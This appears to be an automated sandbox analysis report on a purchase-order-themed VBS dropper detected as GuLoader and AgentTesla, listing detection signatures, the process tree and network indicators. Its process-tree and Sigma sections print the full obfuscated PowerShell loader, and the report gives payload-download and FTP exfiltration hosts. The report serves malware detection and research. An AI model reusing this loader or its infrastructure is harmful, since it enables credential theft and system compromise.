Edit tour

Windows Analysis Report
PO-09784893 xlsx.vbs

Overview

General Information

Sample Name:	PO-09784893 xlsx.vbs
Analysis ID:	755440
MD5:	bfa859d9ad7b23d3606ea13f525065a7
SHA1:	a1b3e395dc20bcdaa866b953a08a48d0079bace2
SHA256:	ec51e9ad23c469e82059bd497873749017e80e136053a25c7a752ffa18bf2002
Infos:

Detection

AgentTesla, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Yara detected AgentTesla

Sigma detected: Dot net compiler compiles file from suspicious location

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Yara detected GuLoader

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to detect Any.run

Wscript starts Powershell (via cmd or directly)

Potential malicious VBS script found (suspicious strings)

Tries to harvest and steal ftp login credentials

Very long command line found

Potential evasive VBS script found (use of timer() function in loop)

Obfuscated command line found

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Java / VBScript file with very long strings (likely obfuscated code)

Drops PE files

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Uses FTP

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Compiles C# or VB.Net code

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64native

wscript.exe (PID: 1232 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO-09784893 xlsx.vbs" MD5: 0639B0A6F69B3265C1E42227D650B7D1)

cmd.exe (PID: 4760 cmdline: CMD.EXE /c echo C:\Windows MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 416 cmdline: C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelkuITamBlpLdoChrLutBa(An`"""SegAddFriFr3af2Tr`"""No)Ga]GlpFruFobSclIriLecDo UmscatOuaNytCeiStcfo DieTjxbltMoefurkinSc FliBlnSttSi DoPmatKrVFuiImsSuiNobHelSaeAf(PeiBrnSktSt BjSsnaKutAf,PaiCynIntRo ciAPssPspKoafa,LsiSenbatsl JePRerTajSesTiiUnsTg)su;Ny[HuDSalGalTjIOlmSepAropirRetLe(Vi`"""DeuLesAfeSmrFo3Bu2An`"""pa)Sw]SkpAcuDibinlKriNrcBl TasUntBiaPotAniIncCh CoeFrxPltLoeUnrPenTo HyiTunprtMa jaGPreFotBuMSkeSpsNssBeaMagAieTi(PoiinnautSl TyGTuiChrDi,TriLanHotSt AmSSitTorDoaFa,SkibanRetin PrkBeiInpPrkRoaLalBo,AdiAnnAntGe UlFBeiRerNr)So;Kh[InDHolRilRkIGumrepfloGarIstLa(Pa`"""PekEseSkrArnSaeChlMe3An2ti`"""Ji)Ca]SapCeuCabAflReiTocUn PesCltLiaSetOciDacCh KoeAlxUntPreDerNinCi DiiFonPltFl DuVPoiSarFotHeuOgaThlFeAUnlMolSeoDicRe(TrisknSytDo SevNe1Ko,KaiBanBetNi PrvKn2Bi,HeiBanAmtMo InvSt3Bu,CoiMunMitTr Sivti4To)Tr;Bl[MaDinlDelJuISvmMepKboMirRitVi(Gr`"""DiAToDboVToAMaPMiIHa3Hv2Ho.BrDDeLKaLUn`"""Ru)Am]RgpKauTybVilDaiUncCh TosNetUnaMetUniBrcSe SeeNexEntIneDarBinQu AriStnSttOp RaRDoeTrgLiLOvopsaDadOpKHoeFryFr(SiiPhnSatIn syDZaaHocUnrImyBa,FaiUnnaltFo SpSSatHaoUnrPr,TiiHinPutBu NoONanEscfi)He;Po[noDCelHalBlIStmUnpUnoDarArtGi(Ge`"""SpgundSliMo3Sp2Pa`"""Em)Ti]AlpDiuFabTrlLiiChcGe PosKotHoaCetFliStcSe TreLsxRetAceUrrConBa FoiInnMitTr DdWAeiGedKaePrnfiPTjaSttBlhVe(StiHanTutIs TeOGabBydBauTr)St;Ra}Fj'Al;Bj`$DdTPohPawPlaRerFrtFrnvieVisDesSh3Gu=Fr[UdTPshRewKaaOnrSetPjnTreScsWosAr1Ov]Ca:Kn:frVMaiVirSetheuHoaVelStANulArlFooNocSu(So0Nu,Re1Mi0Cl4Ha8Mi5Pr7Ka6Mo,Un1Un2Fr2Br8Ce8Sm,pe6Tr4po)jo;Se`$ReNWiaCreFggLaaAntTaePu=Mi(NoGBleMntBu-ScIPatCieNemAuPDyrFooKupSleKurTrtInyKa Tv-haPBaaExtLohLi Ch'GyHFiKSuCSeUEn:Fr\InTVorMuekaeUotPsiSksIneFu\SkFAneDijStlErtCaoCalHvkBlnPoiPrnNegCheBanovsMu1Ef6Fo0Ka'Ha)Ci.TiHBaeSulViafofSotBoeHonElsSlfMoiKolLomSyeLnnResBr;Ft`$FoVToiJalKrlfeiPagPesRetAreKnsSy Ne=Tv Rl[VoSCyyKnsadtLeeAdmSk.OuCAdoUnnHevnoeFirNotSi]Ov:Ac:RaFMurZeoKmmevBBeaNysMueRe6Un4MoSSltRerStiUnnCogKl(Ga`$StNChaGeePrgAuaLotObeFa)Me;Kv[SoSGryBesMatEmeSmmFe.crRInuGrnLetRiiStmdeeIm.KaIFrnAjtFleOprcroBepPrSGaeGrrSnvIniGncOveHosFa.HaMInaVerGosFrhAnaAllBl]Fr:El:WaCVaoVapCoyir(Un`$HiVTriSilSwlShiSagCosartFreSlsCa,Br ca0Gs,Ru Be Cr`$HeTRehBewBiaWorFltUnnOveUnsHysVa3Ug,By Zy`$BiVSpiSalGrlKoiSvgKrsLitUdeDrsAd.HecMioPouAjnCttHa)Ov;Me[HyTBuhPrwFyausrAntBenMaeMospasHo1In]Je:Sa:HoEtrnBiuPimFrSBrycesditBeeKamUdLAeoDrcKoaGelOpeLesGeWVi(Bo`$feTSahSkwJoaEnrCitPrnPeeSasTossi3Bi,be Kr0De)rh#Te;""";Function Thwartness4 { param([String]$HS); For($i=2; $i -lt $HS.Length-1; $i+=(2+1)){ $Sallowy = $Sallowy + $HS.Substring($i, 1); } $Sallowy;}$Fictioneer0 = Thwartness4 'UdIReEDiXSk ';$Fictioneer1= Thwartness4 $Saudiarabiske;&$Fictioneer0 $Fictioneer1;; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

csc.exe (PID: 4292 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.cmdline MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 7040 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB964.tmp" "c:\Users\user\AppData\Local\Temp\u5h0ocqr\CSC31BB2AFB2CA9494684B4A57A653EBF6B.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

CasPol.exe (PID: 7836 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
PO-09784893 xlsx.vbs	WScript_Shell_PowerShell_Combo	Detects malware from Middle Eastern campaign reported by Talos	Florian Roth	0xa39:$s1: .CreateObject("WScript.Shell") 0x3fe57:$p1: powershell.exe 0x4d288:$p1: powershell.exe

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2688111783.0000000009190000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
0000000B.00000000.2410724852.0000000000B00000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 416	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x289c:$b2: ::FromBase64String( 0x14ef1e:$b2: ::FromBase64String( 0x17a50f:$b2: ::FromBase64String( 0x3712a:$s1: -join 0x378df:$s1: -join 0x1394bb:$s1: -join 0x13b34b:$s1: -join 0x165625:$s1: -join 0x1d371a:$s1: -join 0x1e07ef:$s1: -join 0x1e3bc1:$s1: -join 0x1e4273:$s1: -join 0x1e5d64:$s1: -join 0x1e7f6a:$s1: -join 0x1e8791:$s1: -join 0x1e9001:$s1: -join 0x1e973c:$s1: -join 0x1e976e:$s1: -join 0x1e97b6:$s1: -join 0x1e97d5:$s1: -join 0x1ea025:$s1: -join
Process Memory Space: CasPol.exe PID: 7836	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: CasPol.exe PID: 7836	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 2 entries

Sigma Signatures

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.cmdline, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.cmdline, CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflE

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: ftp.mcmprint.net

Virustotal: Detection: 9%

Perma Link

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source:

Binary string: $Pl8C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.pdb source: powershell.exe, 00000005.00000002.2587473723.000000000457C000.00000004.00000800.00020000.00000000.sdmp

Source: Joe Sandbox View

IP Address: 185.31.121.136 185.31.121.136

Source: global traffic

HTTP traffic detected: GET /wp-admin/includes/yyXYRRIJkuolPn153.fla HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: b3solutionscws.comCache-Control: no-cache

Source: unknown

FTP traffic detected: 185.31.121.136:21 -> 192.168.11.20:49819 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:48. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:48. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:48. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:48. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: CasPol.exe, 0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ftp://ftp.mcmprint.netnoffice
Source: CasPol.exe, 0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: CasPol.exe, 0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://OowQOv.com
Source: CasPol.exe, 0000000B.00000002.6743714275.000000001C260000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000B.00000002.6719479887.0000000000E3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://b3solutionscws.com/wp-admin/includes/yyXYRRIJkuolPn153.fla
Source: CasPol.exe, 0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hWFpSCunbgPMSZDs.net
Source: powershell.exe, 00000005.00000002.2635495743.000000000548A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.2587473723.000000000457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.2579563055.0000000004421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2587473723.000000000457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.2579563055.0000000004421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBPl
Source: powershell.exe, 00000005.00000002.2635495743.000000000548A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.2635495743.000000000548A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.2635495743.000000000548A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000005.00000002.2587473723.000000000457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.2622363726.0000000004BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000005.00000002.2635495743.000000000548A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: CasPol.exe, 0000000B.00000002.6747286598.000000001D1C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

Source: unknown

DNS traffic detected: queries for: b3solutionscws.com

Source: global traffic

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 416, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn 